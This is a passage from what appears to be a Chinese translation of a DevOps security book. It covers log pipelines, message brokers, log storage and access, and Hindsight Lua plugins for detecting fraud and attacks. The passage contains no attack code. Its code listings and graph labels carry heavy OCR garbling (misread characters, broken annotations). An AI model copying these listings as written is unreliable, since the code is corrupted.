且丢失消息的日志流水线也不是我们想要的。

本节我们将重点介绍图7.4中的流水线串流层,并讨论如何通过消息代理来处 

理海量的日志信息，以避免单个组件被冲垮。

消息代理是ー个应用,它接收来自发布者的消息,并将消息路由到消费者。它 

是ー个精妙的管道，具备了决定哪个消费者将得到指定消息副本的智能逻辑。

对于逻辑组件之间的消息串流来说,消息代码是很有效的,并且还提供了层与 

层之间的标准接口,这些层可能互相都不了解对方。在收集层中，系统、应用还有 

各种基础设施组件将它们的日志消息转发给少数几个已知的消息代理。收集层只用 

知道一件事：日志要发到哪里。

消息代理的另一端是分析层，它由多个能读取日志事件并对它们执行任务的分 

析程序组成。如果没有消息代理，收集层就需要知道每个分析程序的地址和目的, 
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这样才能将消息发给它们。添加或删除分析程序就要重新配置所有日志收集器,显 

然这不是最优的做法。

图7.5放大了消息代理内部的消息路由。消息代理的左边有3个发布者,右边 

有3个消费者。日志消息从左到右流经代理。

1 2
消息代理将每条传入的消息转发 
给订阅的队列。如果两个队列订 

阅了同样的消息类型,代理会将 

副本发给每个队列“

3
消费者在和代理打开的 

连接上接收消息副本。

各个日志生产者将事件 

发送到消息代理。

CloudTrai! 发布者 分别发给了两个消费者。

图7.5消息代理在发布者（左边）和消费者（右边）之间路由消息。消费者订阅特定的事件主题, 
而消息代理利用该信息正确地路由消息,它还有可能要复制消息以确保所有消费者都能得到ー个 
副本。在这个例子中,签名分析器和连接率分析器都得到了系统日志发布者发送的消息的副本。

发布者将它们的消息发给流（有时被称作主题或者交换），然后就忘掉了这些 

消息。一旦消息代理接管了这些消息,发布者就不再需要保存任何已发送的消息的 

状态。不同的消息代理软件工具提供了不同的关于已发布消息的可靠性规则 ：

• NSQ不提供可靠性保证,进程崩溃将导致消息丢失（链接7.9）。

• RabbitMQ在确认接收之前能保证在消息代理集群中的多个成员上复制信息 

（链接 7.10）,
・ Apache Kafka做得更好，不但复制了消息、,还跨越多个集群节点保存了消息 

的历史日志,而且保存的时间是可配置的（链接7.11）。

• AWS Kinesis提供了相似的能力,并完全由AWS运营（链接7.12）。

可靠性的提升会对性能造成影响。接受或拒绝丢失消息的决策取决于基础设施 

要处理的消息数量,以及分配给消息代理的资源。为了适应消息量而去调整消息代 

理的大小和性能是构建和运营消息代理基础设施的重要一环。

在接收端,消费者会订阅ー个或多个消息流，它订阅的是各个流的主题。在图7.5 
中，签名分析器消费者从系统日志和应用日志那里接收了消息,这意味着这两个话 
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题它都订阅了。订阅主题将任务分发给了消费者。和可靠性规则ー样,不同的消息 

代理有着不同的实现，但它们大多都支持扇出和轮转两种模式：

・ 轮转模式会把指定消息的副本发给ー组消费者中的某ー个。例如，如果我们 

有三个连接率分析器，我们或许只想把指定的事件发给其中的ー个。在多个 

功能一样的消费者之间分配任务时，这种模式十分有效。

• 扇出模式会把指定消息的副本发给所有订阅了该主题的消费者。如果细看图フ.5, 
你就会发现签名分析器和连接率分析器都得到了系统日志消息的副本。系统日 

志事件被扇出给了两个消费者。这种模式用于将任务分发给功能不同的消费者。

你可以看到，消息代理对收集日志事件的组件和分析日志事件的组件之间的相 

互促进作用。在需要处理大量事件（不仅仅是日志）的系统中,消息代理架构十分 

流行，因为它能让工程师们在消息代理的左右两侧增加或移除组件,而无须重新设 

计整个基础设施。

我们可以想象一下,将来在图75中添加了新类型的分析器后，它们马上就可 

以消费应用日志,而这一切无须对流水线上的前两层做任何改动。每个消费者只要 

声明它感兴趣的主题,然后立即就可以收到消息。

在下ー节里,我们将介绍几种消费者,它们可能是对一条典型的日志流水线的 

有意实现。

7.3在日志消费者中处理事件
日志消费者位于消息代理的消费者ー侧，它们组成了我们的日志流水线的第三 

层:分析层。我们在前面的小节中提到，日志消费者从消息代理那里接收事件消息 ， 

如图7.6所示。我们还没有讨论过这些消费者会用这些消息做什么。

图7.6日志流水线的第三层包含的是日志消费者,它们岀于不同目的来处理和分析事件。在本 
图里，存储模块将原始日志传给存储层;监控模块计算度量指标并按需向运维人员发出告警；安 
全模块在捕捉到异常和欺诈行为后,向运维人员发岀告警。
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分析层最基本的组件是使用原始事件并将它们写入存储层的数据库中。日志流 

水线总是要将原始日志保留一段时间（90天通常是ー个平衡了留存成本和调查需要 

的合理时间）。专门完成该任务的消费者会使用发给代理的全部消息,并将它们写 

入文件系统或数据库。

代码清单7.10展示了这个消费者的一段伪代码，它很简单：消费者一开始先建 

立和消息代理相关的连接，然后向消息代理请求所有主题的消息。大多数消息代理 

都支持某种形式的模式匹配，并根据主题来过滤消息，所以这个消费者只需要请求 

与通配符主题相匹配的消息就可以接收全部消息。

代码清单7.10存储消费者的伪代码

consumer raw-storage：

initialization：

connect to message broker
subscribe to all topics using wildcard pattern

processing：

for each message：

parse message body
normalize values into event structure
insert event structure into database
acknow丄edge consumption of message to broker

接下来,消费者就进入了循环，当每次有消息被代理从已建立的连接上转发过 

来时,这个循环就会被执行。循环迭代一次，消费者就解析一条日志事件。这里有 

ー个标准化步骤可对值进行转换，比如将时间戳的值从五花八门的格式转换成标准 

格式。当标准化的事件被插入数据库或者写入合适的存储地点后，消费者向代理确 

认事件已经被处理，代理就可以从队列中移除事件了。

日志消费者的ー个关键要素是它们的大小:它们应该是执行某个单一任务的小 

程序。在一条复杂的日志流水线中,可能存在许多功能不同的消费者，而且每个消 

费者都能自动地运行。消息代理是连接它们和日志流水线的纽带。

站在基础设施的角度来看，消费者可能运行在不同的环境中,也可能是用不 

同的语言编写的。ー种现代的模式是让它们运行在无服务器环境中,比如AWS 
Lambda这样接管了底层服务器运营的第三方服务。这种模型完全不需要管理系统, 

并允许架构师使用大量独立的消费者来构建模块化系统。

另ー种常见的模式是将日志处理系统上执行的小插件当作消费者来运行, 

Fluentd （链接7.13）和Logstash （链接7.14）就是这样的系统。这些系统提供了一些 

通用的功能，可以消费来自各种消息代理的日志，同时将它们传递给运维人员定义 

的分析插件,并将输岀写到选好的目的地里。Logstash和Fluentd使用的插件都要用 

Ruby编写。在Mozilla我们编写了名为Hindsight （链接7.15）的事件处理守护进程, 
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它使用的是Lua编写的插件。我们将在第8章中更深入地讨论Hindsighto
日志流水线中的消费者主要关注三种类型的任务:

• 日志转换和存储,正如我们在前面讨论过的那个简单例子 。

• 指标和统计计算,为DevOps团队提供其服务健康状态的可见性。

・ 异常检测,包括入侵检测和欺诈检测。如图7.6所示,这种类型的消费者也 

会向运维人员发出告警。我们将在第8章用一整章篇幅来详细探讨这种类型 

的消费者,而且我还会介绍如何编写日志检查模块来寻找欺诈和攻击的证据。

对于第一类消费者来说,当前某个特定事件和之前的事件没有任何关系。消费 

者不需要保留任何状态，只要在每个事件发生时进行处理就好。

然而，对于第二类消费者来说,它们必须保存状态并计算跨多个事件的指标。 

假设ー个消费者需要计算每分钟事件的移动平均值,那么这个消费者就必须记住当 

前的移动平均值，并在处理每个事件的时候去修正它。

如果我们能保证在给定的时间内消费者仅有一个活动实例的限制，那么将状态 

保存在这个消费者实例内部可能就够了。这是解析事件时使用的一种常见方法,如 

果基础设施能够保持消费者的唯一性，这种方法就能奏效。

许多基础设施很快就会需要多个消费者来同时运行。这可能是出于对可靠性的 

考量，以防止使用者崩溃而停止对事件的认证,而这些事件可能会迅速阻塞消息代 

理,或者是因为单个消费者无法承受事件处理的负载。通过增加更多并行工作的同 

类型程序,事件驱动的基础设施可以轻松地横向伸缩，但这时还必须增加一个单独 

的层次，以便在多个消费者之间共享状态。

memcache和Redis这样的内存数据库常常被用来搭建图7.7所示的系统。同类 

型的消费者处理消息并更新数据库中维护着的状态。这种架构将简单的消费者模型 

变得更接近于微服务，但消费者专注于单一任务的基本理念仍然有效。

这些数据库不是用来长期存储数据的。只有在状态是短暂的，并且消息丢失不 

会对日志流水线的可靠性造成严重影响的情况下,オ会使用数据库存储。长期保存 

数据是日志流水线第四层的职责，我们将在下面讨论它。
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志以算出用户的平均位置。这些信息随后被存储在状态数据库中,这样每个消费者都可以访问相 
邻消费者计算的数据。

7.4 保存并归档日志

日志流水线的主要功能是收集和保存来自各个系统的日志,因此存储层显然就 

是整个架构的ー个关键部分。存储层从消费者那里接收日志并开放给运维人员。它 

的作用是管理日志的生命周期，从它们第一次被保存下来的时刻开始，到最后它们 

从归档中删除为止。

事实上，除非绝对必要，你永远都不应该删除日志。如果在Amazon Glacier中 

保存10TB大小的日志，那么每个月的花费还不到100美元，这笔费用对任何基础 

设施预算来说都可以忽略不计。但从Galcier中取回数据的费用就要高得多，如果真 

有那么ー天，你一定会毫不吝惜地取回数据!

要实现廉价的、高效的和可靠的日志存储，就需要在日志事件生命周期的不同 

时间段混合使用多种技术。图7.8展示了首次被写入数据库的日志（通常被认为是 

昂贵的存储类型），然后将其导出到归档中。例如，我们可以想象在90天后自动完 

成导出。
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图7.8存储层先将日志保存在可以很容易查询到的数据库中,然后再将它们归档到一般不会被 
访问到的冷存储中。

日志流水线存储层应该提供接口，以便让DevOps团队通过这些接口来访问他 

们的数据。常见的存储有三种类型:

• grep服务器是ー种经典的日志存储类型:一台磁盘空间很大的服务器,运维 

人员可以通过命令行探索日志。

• 使用Elasticsearch作为通用存储引擎的文档数据库,这是另外一种流行的选 

择。你可能遇到过经常与Elasticsearch数据库ー起使用的Kibana仪表盘。

• 关系型数据库(特别是数据仓库)也是ー种流行的选择,常见于商业智能(BL 
Business Intelligence)和安全事故与事件管理(SIEM, Security-Incident and 
Event-Management)的企业级解决方案中。在过去日志很难用关系型数据库 

来存储，因为日志要严格地解析成列,但像PostgreSQL这样的现代关系型数 

据库现在已经开始支持JSON类型，并且提供了一些文档数据库的特性。

每ー种存储类型都有各自的优缺点，它们全都提供了有价值的功能来对日志进 

行分析和可视化。grep服务器让你既可以实时地跟踪日志，也可以使用grep、awk 
及sed (大多数工程师都会使用这些工具)来搜索数周的数据。搭配了 Kibana仪表 

盘的Elasticsearch数据库提供了一些开源能获得的最好的可视化工具。如果你的预 

算足够实现像HP ArcSight, IBM QRadar或是Splunk这样的SIEM解决方案，那么 

关系型数据库可以满足你的需要。

在理想情况下，你可以同时实现三种类型的存储，然后决策哪ー种价值最高。 

存储成本是左右决策的关键:16TB大小的数据存储在Elasticscarch中的成本是保存 

在磁盘上的两倍,保存在Redshift中的成本则比保存在磁盘上的高出五倍。

此时，日志数据的生命周期就变得至关重要了，因为如果能够很方便地按需重 
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新加载数据,日志可能不需要被长期保存在昂贵的数据库中。对工程师来说,原始 

日志通常只会在排查应用问题时有用,这时离日志生成已经过去ー些天了。一周之 

后大多数人只会看聚合指标，不会再使用原始日志。

安全事件是个例外，调查人员总是需要原始日志。我们总是忍不住要去猜测调 

查人员需要多久之前的原始日志，但通常都猜不对。他们有时需要安全事件发生前 

一天的日志，有时又需要前一年的日志。与其猜测，不如建立适合组织的生命周期。 

例如：

• 原始日志在grep服务器上保存30天。每天晚上，定时任务会轮换日志文件, 

将当天的日志文件压缩好并发布到归档中。30天后，压缩的日志文件将从磁 

盘上删除。

• 原始日志还要由另一个消费者写入Elasticsearch数据库。日志存储在由当前 

日期表示的索引中。索引将保留15天,然后删除。

• 指标由第三个消费者计算并保存在自己的数据库（或者第三方服务）中。指 

标永远不会被删除，因为它们的量小到可以永久保留。这样的话,工程师可 

以按年来对比趋势。

・ 归档里的压缩日志文件按年月存放在文件夹中。如果要缩减成本，日志可以 

在指定期限之后删除,并且保存时间不应少于3个月。AWS S3和Glacier都 

提供了自动化的生命周期管理功能,能在特定时间段后删除数据。

这里，再怎么强调保存日志的重要性都不为过,这意味着每几个月都要给你的 

员エ买ー个10TB大小的硬盘来存放（加密并压缩过的）日志并将其扔进抽屉里。 

当日志数据丢失而无法对漏洞进行调查时，因为尽早删除日志而省下来的钱就变得 

无关紧要了。

如果你一定要降低成本，那么就选择最便宜的存储解决方案：grep服务器。在 

杂乱的存储中保存大量日志总比在昂贵的数据中完美地存放几条日志要好。

话虽如此，如果你有足够的预算来运营昂贵的数据库，那么它能给你带来显著 

的可访问性优势。在下一节中,我们将讨论ー些行之有效的访问日志的方法，它们 

还可以让运维人员执行自己的分析。

7.5 访问日志

我们的日志流水线的最后ー层就是访问层,旨在让运维人员、开发人员和任何 

需要的人能够访问日志数据。访问层可以简单到只是一台被托管的、用来访问存储 

服务器上的日志的SSH堡垒机,也可以复杂到是ー个用来执行大型数据集分析任务 

的 Apache Spark 集群（链接 7.16）。
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图7.9中的访问层位于流水线的末端。它是数据入口,因此它应该提供防止欺 

诈性访问的保护。日志通常包含着组织及其客户的敏感信息。内部凭证或者最终用 

户的密码在消息中被捕获，或是没有被正确清洗的情况不在少数。一个常见的问题 

是，由HTTP GET查询字符串传进来的API密钥被Web服务器记录在了访问日志中。 

这是绝对不可以公开的数据,你应该将原始日志妥善地保存起来。

仪表盘在调查服务的健康状态时特别有用。在安全事件处置期间,动态创建自 

定义仪表盘来监视特定活动的能力可以帮助工程师组织他们的防御。搭配了 Kibana 
仪表盘的Elasticsearch已经成为快速创建随机数据集图表的流行工具。大多数现代 

日志流水线都会在内部某个层次包含这对搭档。

在第8章我们用来分析日志的软件Hindsight也能生成各种类型的图表，从而 

轻松地监视仪表盘。图7.10展示了一个欺诈监控仪表盘,它是为ー个经常受到攻击 

的服务而搭建的。波动最大的折线表示登录故障次数,你可以看到在图表的第三层， 

它反复上升了好几次并最终超过了 40000另一条在底部几乎看不见的线表示登录成 

功次数。它也在02:00达到峰值,说明登录成功的次数突然增加了，这表明这是ー 

种不正常的现象。
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图7.10发现敏感服务欺诈性登录的监控图表。每个字母A都代表登录成功次数的异常增加,巧 
合的是失败的登录尝试次数也大幅增加了。

图表是在处理异常情况时的重要沟通工具。在安全事件处置期间,监控异 

常流量的图表可以让混乱迟钝的应对变得有条不紊。无论使用哪种图表技术,你 

都应该确保对它有足够的熟悉，并能在几分钟之内创建出新的图表。Kibana和 

Elasticsearch的组合很有效；Prometheus （链接7.17）和Grafana的搭配也不错（链 

接7.18）,如图7.11所示。

你可以使用自定义库来创建自己的图表，但也应该做好在必要时创建新图表的 

准备。如果创建新图表还需要12小时的开发工作，那么在处置安全事件时这个解 

决方案就不会有使用的机会。它可能无法胜任事件响应工具箱的要求。

Memory / CPU

server requests dfent side full page load

vreb.scrver.Or - web,serwr.O2 — t«eb_server_03 一 web.sen«r.04

i4iper 25
・呼瓏
—upper_75
-upper.W
_ uj^er.95

2?4ms
744m5
1.3815
1.938 s

图7.11 Grafana支持各种不同类型的图表,这些图表有利于将信息快速传递给不同的受众。 
Grafana这样的工具的易用性非常符合日志流水线访问层的要求。
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在应对安全事件时，对原始日志的访问也很重要。图表通常缺少用于攻击模式 

调查所必需的细节。命令行工具（如grep、awk、sed、cut，以及各种bash管道和脚本） 

是挖掘攻击日志必不可少的工具。人们通常更愿意使用命令行工具来解析大量日志, 

而不是使用数据库查询语言，并且被授予了原始日志访问权限的访问点能够强化你 

的调查能力。

总而言之，访问层必须提供图表工具和将这些图表共享给全部用户的方法，同 

时还要限制对未过滤数据的访问,以便进行深入调查。

7.6 本章小结

• 日志流水线的五个层次提供了灵活的架构,可以随着组织的需求而扩张。

・ 通过syslog收集系统日志是一种快速了解服务行为的简单方法。

・ 系统调用审计日志提供了对Linux系统活动的深度覆盖。

• 应用在内部开发时，DevOps团队应该通过日志标准化来帮助分析。

• NetFlow和AWS CloudTrai］等基础设施日志比系统日志更能抵御攻击,但可 

能缺少上下文,而且更难分析。

• GitHub这样的第三方有时会提供审计日志，其中包含了用户活动的有效信息。

• 消息代理系统提供了能够智能地在日志生产者和日志消费者之间转发消息的 

胶水。

• 扇出投递将日志复制给多个消费者;轮转投递只会将一条日志发给ー个消费 

者。

• 分析模块就是执行特定任务的程序,它们处理日志是出于单ー的目的，如监 

控或检测欺诈。

• 多个分析模块可以共享一个日志流来分担负载，它们通过数据库共享状态信 

息。

• 存储层负责在ー定周期内保存日志。原始日志通常会被保留90天,而指标聚 

合会被永久保留。

• 原始日志对安全调查很有用，如果预算允许的话,应该保留超过90天。

・ 访问层提供对原始日志的受限访问,还提供了安全且方便访问的图表。

・ 通过Kibana和Grafana这样的工具快速创建自定义图表的能力有助于监控异 

常行为，这是高效应对安全事件的关键。
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分析日志找到欺诈和攻击

本章内容包括

■ 探索日志流水线分析层中的组件

・ 使用字符串特征、统计和历史数据检测欺诈和攻击

■ 管理用户告警技术，不要让用户被告警淹没

在第7章你已经学会了如何构建一条日志流水线来收集、串流、分析及访问遍 

布于基础设施中的日志。多层流水线创造了灵活的基础设施,不同来源的日志被用 

于监控组织服务的活动。第7章概要地介绍了流水线中的每ー层所提供的功能。在 

这一章里，我们将重点介绍第三层，即分析层,并深入研究技术和代码示例，以检 

测欺诈和对服务的攻击。

在本书编写之时，Mozilla自己的流水线和第7章展示的流水线是类似的。 

Mozilla的流水线被用来了解真实环境下的Firefox客户端的健康状态（这被称之为 

遥测），也被用来处理应用和服务的日志,还被用来检测异常活动。这条流水线的大 

脑位于分析层，而分析层以大量小程序的形式存在着,这些小程序持续地观察着日 

志事件中的特定模式。它们还不足以处理日志事件的输入和输出,这个任务交给了 

ー个专门用于处理数据的大脑:ー个对数据流执行分析插件的软件（链接&1），它 

叫作 Hindsighto
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本章我们将使用Hindsight来读取各种类型的日志并编写自定义插件来分析这些 

日志。

注意 本章的示例日志和插件放在链接8.2中二你需要将这个仓库“克隆”到 

本地的电脑上,然后获取Hindsight的Docker容器来运行这些例子,

首先，我们将描述分析层中各个不同的部分是如何组合到ー起的，包括坐镇中 

央的Hindsight及它两侧的收集层和存储层。接下来，我们将讨论三种用于检测欺 

诈和攻击的不同方法。其中最简单的ー种方法是使用表示已知攻击的字符串特征 

来发出告警。然后，我们将统计模型和签名方法进行比较,并且评价它们互为补 

充的方式。最后，我们将介绍利用用户活动的历史数据来标记来自可疑区域连接 

的方法。

本章的最后ー节将着重介绍告警。你最不想让分析层做的事情就是每天发送数 

以千计充满噪声却不可操作的告警。这样只会让告警的接收人将它们归为垃圾邮件 

而将其忽略。在本章最后ー节里，我们将介绍告警的最佳实践，并讨论ー些向运维 

人员和最终用户发送既精确又可操作的告警的方法。

8.1日志分析层的架构
在贯穿整个第7章的流水线架构中，分析层居中，扮演着承上启下的角色，如 

图8.1所示。它负责消费来自串流层的所有日志事件,并决定如何处理它们。有些 

分析模块承担了将原始日志保存到数据库中的任务,有些承担了计算遥测指标和统 

计数据的任务,还有一些承担了检测异常和欺诈的任务。本章我们要集中讨论的就 

是最后这ー类分析模块。

图8.1本章要介绍的三类欺诈检测模块位于分析层的内部,也位于第7章所讨论的日志流水线 
的中心。每个模块执行ー种特定类型的检测，向运维人员发岀告警,并将告警写入数据库。
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分析层必须按照一系列步骤来处理经过流水线的每个日志事件。这些步骤可以 

总结如下：

1 .首先,它必须消费来自串流层的消息，这需要通过消息队列协议连接到ー个 

或多个消息代理,并源源不断地从代理读取消息。

2 .接下来,消息必须转换成可以处理的标准格式。标准化使自定义分析器能更 

方便地处理日志事件,而不是每个分析器都必须知道时间戳或者IP地址是 

如何转换的。

3 .然后,标准化的消息被转发到分析插件。路由和多路复用允许多个插件都能 

接收到同一条指定消息的副本。插件运行着为完成特定任务而编写的任意代 

码：计算统计数据、标记包含指定字符串的事件，等等。

4 .插件各自产生自己的输出,发送到特定的目的地:电子邮件客户端、数据库 

或者本地文件。也可以将处理过的消息重新注入代理，并将插件串联起来形 

成分析循环。

我们可以把分析层设计成一组独立的程序,每个程序都要执行全部四个步骤， 

但这样会产生许多处理第1步、第2步、第4步的重复代码。相反地，我们应该使 

用工具为我们处理这几个步骤,并将精力集中在编写第3步的自定义分析插件上。

有大量处理分析层核心操作的软件可供选择，有开源的也有其他的，比如， 

Fluentd、Logstash> Splunk和Sumo Logic。所有这些软件都能完成日志的处理和标 

准化，并且它们都可以运行自定义插件。这些软件遵守同样的通用原则,我在这里 

介绍的内容经过转换可以适用于不同的工具。

大型组织通过自己搭建工具来解决特定的需要，这也是常见的做法。在2010 
年前后，Mozilla启动了 Heka项目,为其核心服务搭建日志处理流水线。Heka用 

G。编写，高性能是其追求的目标，开发人员最终达到了 G。运行时的性能极限。那 

些每天处理数以亿计的组织最后都会遇到这个问题。Heka开发者决定将他们的软件 

重写成两个组件:用C编写的轻量级数据处理内核,以及在沙盒中执行的Lua插件。 

在本书编写之时,这个名为Hindsight的项目支撑了部分Mozilla的日志和遥测基础 

设施,它可以在链接8.3中找到。本章我们将使用Hindsight来支持我们的分析层, 

并演示如何使用Lua编写插件。

Lua语言
Lua是ー种编程语言，它的设计目标是可以简单、快速及更方便地被集成 

到应用中,它通常被用在需要支持运行插件的程序中,因为它的解析器体积很小。
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即使你没有Lua编程经验也不用担心。这不是ー门很难学的复杂语言,本 

章我们也只是点到为止。本章的代码示例只需要对编程有基本的理解就能看懂 

如果你想深入学习,链接8.4提供了丰富的文档和示例，

Hindsight是支撑分析层的不错选择,因为它支持各种各样的输入和输出插件。 

串流层可以将消息转发给Hindsight，并用自定义输入插件来消费和处理。日志被标 

准化并传递给分析插件,分析插件对它们执行各种操作。这种架构让不熟悉日志流 

水线细节的开发者也能编写出小的分析插件,他们只需要知道这些插件接收的输入 

类型就行。图8.2展示的就是这种模块化的架构。

Hindsight

图8.2日志事件在Hindsight数据处理流水线内要经过三层处理:输入插件加载消息并进行标准 
化,分析插件对消息执行自定义操作,输出插件将产生的数据写入各种目的地。Hindsight负责在 
各个层次之间路由消息。

本章的目的不是构建一条完整的日志流水线，那也是不切实际的。我们只会使 

用Docker Hub托管的mozilla/hindsight容器单独试验Hindsight〇本章使用的代码和 

配置的例子都可以在Github上找到。代码清单8.1展示了设置本地开发环境的步骤。 

这些设置将帮助你完成试验,并不需要你理解本章提及的概念和技术。
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代码清单8.1 Hindsight ：将本地目录挂载到容器中运行

$ git clone https：//***.com/Securing-DevOps/logging-pipeline.git

$ tree -L 1 
logging-

I- cfg
t谓0: I作为Hindsight输入的日志数据。

I运行时输入、分析和输岀插件。

$ cd logging-pipeline

$ chmod 777 output run <

logging-pipeline/ 
pipeline/ Hindsight配置文件夹。

I 允许 Hindsight 写入 output 和 run 
目录。

$ docker pull mozilla/Hindsight

$ docker run -it \
- v $(pwd)/cfg：/app/cfg \
- v $(pwd)/logs：/app/logs \
- v $(pwd)/run：/app/run \
- v $(pwd)/output：/app/output 
mozilla/hindsight

J从Docker Hub获取容器。

h
在运行容器时,将本地目录挂载到容器中，将 

容器中默认的配置和插件替换成本地的配置和 
插件。

这些命令将自动启动Hindsight,并使用本地cfjg、input、output及run目录中提 

供的配置来运行。最后，这个run目录需要特别引起关注,因为插件的源代码放在 

这里。

你可以在run目录中找到三个子目录:input、analysis和output。每个子目录都 

包括配置和代码,它们将在消息抵达Hindsight的输入、分析和输出队列时执行。

代码清单8.2 run目录包含了输入、分析和输出插件

$ tree run/
run/

I--  input
I I— input_nginx.cfg

1— input_nginx.lua

卜!加载nginx日志文件的输入插件。

L fnalysis I对日志条目计数的分析插件。
I I--- counter.cfg

I- counter, lua I~ ［检测可疑特征的分析插件
I I--- suspicious_signatures.cfg | |
I 1--- suspicious_signatures.lua I
「output I在运行时打印调试数据的

输出插件。
I— heka_debug.cfg ◄-------------- 1
「heka二injecjpayload.cfg v—!将输出数据写入本地文件的

I输出插件。

让我们快速浏览其中的一部分文件,理解一下Hindsight是如何使用它们的。我 
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们的输入是ー份存储在!ogsZnginx_access.log下的Nginx访问日志文件。放在run/ 
input/input_nginx.lua中的插件如代码清单8.3所示，它逐行读取日志文件并解析读 

取的每一行,使用自定义语法配置来解释Nginx日志格式。解析器使用了名为LPeg 
（Lua Parsing Expression Grammar, Lua解析表达式语法）的Lua库,该库可以将ー 

行日志转换成一个字段的映射。该映射随后被保存到一条Hindsight消息中,并注入 

分析队列里。

代码清单8.3 Nginx输入插件的源代码

require nio 
local fn = 
local elf =

read_config("input_file") 
require *'Ipeg.common_log_format"

local ent = 0；

local msg = {
Timestamp = nil, 传给分析层的标准化
Type = "logfile"， 消息的定义。
Hostname = " localhost •*,
Logger = "nginx”, [_
Fields = nil

} ! 在LPEG模块中事先定义好的I
nginx解析变量。

local grammar = elf.build_nginx_grammar( 
'$remote_addr - $remote_user [$time_local] "$request'1 -I
$status $body_bytes_sent "$http_referer" "$http_user_agent"')

function process_message()
local fh = assert(io.open(fn, "rb")) 
for line in fh：lines() do

local fields = grammar：mat ch(1ine) 
if fields then

msg.Timestamp = fields.time 
fields.time = nil

把字段列表!-- ► msg. Fields = fields
葆お到标准 inject_message (msg, fh: seek 〇 )
花宿息里。丨 ent = ent + 1

end
end
fh：close()
return 0

end

J读取输入文件并处理每一行。

h
根据本地语法解析给定行,并 

返回一个字段列表。

一I将标准化消息插入分析队列的

Hindsight 原语中。

这是一个简单的算法，在大多数日志处理工具中都很常见。在ー个典型的环境 

里,来自串流层的每ー种日志类型都对应地有一个独立的输入插件。你会连上一个 

消息队列,从队列里接收事件流，而不是像代码清单&3中那样,从本地文件里读 

取日志。这里使用日志文件仅仅是为了练习。

Hindsight负责将消息转发给下ー层,并交给分析插件做进一步处理。在需要处 
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理多种消息类型的环境里,路由操作必须让分析插件只接收它们关心的消息类型。 

各种工具的实现方法不尽相同，但思路都是ー样的：配置一条匹配指令,根据特定 

条件筛选到达的消息、，并发送给对应插件。

我们再来看看计数分析插件，它唯一的任务就是记录通过它的消息的数量。 

代码清单8.4展示了放在run/analysis/counter.cfg中的配置文件。注意文件中的 

message_matcher指令。它包含了一条匹配规则,每一条进入Hindsight分析队 

列中的消息都会被应用这条规则。当消息与规则匹配时，Hindsight就把它发给run/ 
analysis/counter.lua中的插件来处理。

代码清单8.4 run/analysis/counter.cfg中的计数插件配置

filename = "counter.lua"
message_matcher = "Logger == *nginx1 && Type == 1 logfile 
ticker_interval = 5

在这个例子里，设置的消息匹配器用于抓取Logger值为nginx并且Type 
值为logfile的日志。这些值和在解析访问日志时所设置的标准化消息的字段相对 

应。如果你还想进ー步改善过滤效果，那么在处理输入时，对于用语法解析器提取 

出来的字段,你还可以对其进行过滤。例如，访问日志中包含了一个请求方法字段 

和一个远程地址字段，分别代表着HTTP请求方法和发送该请求的客户端IP地址。 

语法解析器会提取这些字段，它们能被消息匹配器分析。下面的例子展示了消息匹 

配器如何筛选不是来自IP地址172.21.0.2的HTTP GET请求，并只将这些匹配成功 

的消息发给分析器:

message_matcher = "Logger == * nginx' &&
Type == 'logfile1 &&
Fields[request] =~ , 人GET 1 &&
Fields[remote_addr] != 1172.21.0.2*"

Hindsight分析器有两个主要函数:process_message,对每一条传入的消 

息都要调用它；timer_event,它是定期触发的。计数分析器的源代码再简单不 

过了。分析器只是将收到的消息的数量记录到msgcount变量中,并定期将最新的 

总数通过inject一payload函数发布到输出队列里。timer_event只会按照插 

件配置中设置的时间间隔tickejinterval来定期执行。在这个例子中,它每 

5秒执行一次。

这是ー个没有任何实用性的简单例子,只是用来展示各个层次之间是如何交互

的。
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代码清单8.5对消息计数井定期发布消息总数的Lua代码

require Mstring"
msgcount = 0 |在处理消息时递

增全局计数器。
function process_message()

msgcount = msgcount + 1 
return 0 

end

I function timer_event() 
inj ect_payload (11 txt , 

- ncount“， .
string.format(u%d message analysed\n”， msgcount)) 

end

定期将已处理消息的计数 
插入输岀队列。

当计数器插件插入ー个载荷（表示内部消息的通用术语）时，Hindsight会将这 

个载荷转发给输出队列。我们来到了处理逻辑的最后一部分,这里的插件获取数据 

并将其写入目的地。和前面一样，输出插件需要一个配置文件和一个Lua文件。这 

里你需要编写插件,将事件插入数据库或者发送电子邮件给用户。出于研究的目的， 

我们只会用到将数据写入磁盘的输出插件，比如Hindsight提供的heka_inject_ 
payload 插件。代码清单 8.6 展示 了 该插件位于 run/ouput/heka_inject_payload.cfg 
的配置。

代码清单 8.6 配置heka inject_payload 输出插件

filename = Mheka_inject_payload, lua'• 
message_matcher = "Type == * inj ect_payload, 
output_dir = •' output /pay 1 oad 0

该输出插件将接收由分析插件插入的载荷，并将它们写入output/payload目录 

中，以及有效地存储Nginx日志的计数，其请求方法及远程!P地址能和计数插件过 

滤器相匹配。

$ cat output/payload/analysis.counter.count.txt
1716 message analyzed

输入、分析及输出插件是日志分析基础设施的构建块。这里使用的技术术语可 

能只属于Hindsight,但是在其他日志处理产品中可以找到类似的架构。整体的思路 

总是一致的:摄取日志、分析它们并输出数据。

现在你有了一个可以通过自定义分析器来处理日志的平台，并且可以进ー步深
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入编写着重于安全的分析器了。在下ー节里，我们将从最简单、最常见的安全分析 

器开始,它们要检测的是事件中的攻击特征。

8.2使用字符串特征检测攻击
在处理日志时，一切都围绕字符串展开。因此，寻找恶意活动模式的最简单方 

式就是将日志和已知的恶意字符串清单进行比对。这种方式似乎有些过于简单,但 

在整个安全供应商行业里却存在了多年。在2005年前后，Web应用防火墙(WAF, 
Web Application Firewall)十分流行,它本质上就是Web应用收到的每个请求所执 

行的正则表达式库。

正则表达式会反咬你一口

我曾经在一家银行工作,这家银行在这ー类安全设备上投入了巨资"安全 

团队负责维护WAF, WAF保护着各种在线服务,其中就有消费者交易服务。每 

个进入服务的Web请求必须通过数百条正则表达式的检验才能到达应用服务器 

有一天，一位来自在线交易团队的开发人员决定检查一下这些正则表达式我 

不确定这位工程师究竟是出于什么原因要去阅读这份内容全是斜杠、美元符号、 

通配符、加号、括号和圆括号的文件,但是她就是读了。在读到第418行附近时， 

她看到了不祥的,,它们深藏在ー个复杂的正则表达式之中。这两个无辜的 

字符等于“允许任何请求”的正则表达式，实际上是允许任何内容都可以通过。

我们重金打造的引以为傲的Web应用防火墙,投入了一整个团队进行维护， 

每秒要对每个请求执行数百个正则表达式,这是以牺牲了性能为代价的，这导 

致本就复杂的系统变得更加复杂了，而它除让所有请求通过之外，起不到任何 

作用。当然，我们很快就修复了这个问题,但我从此对用于安全检查的正则表 

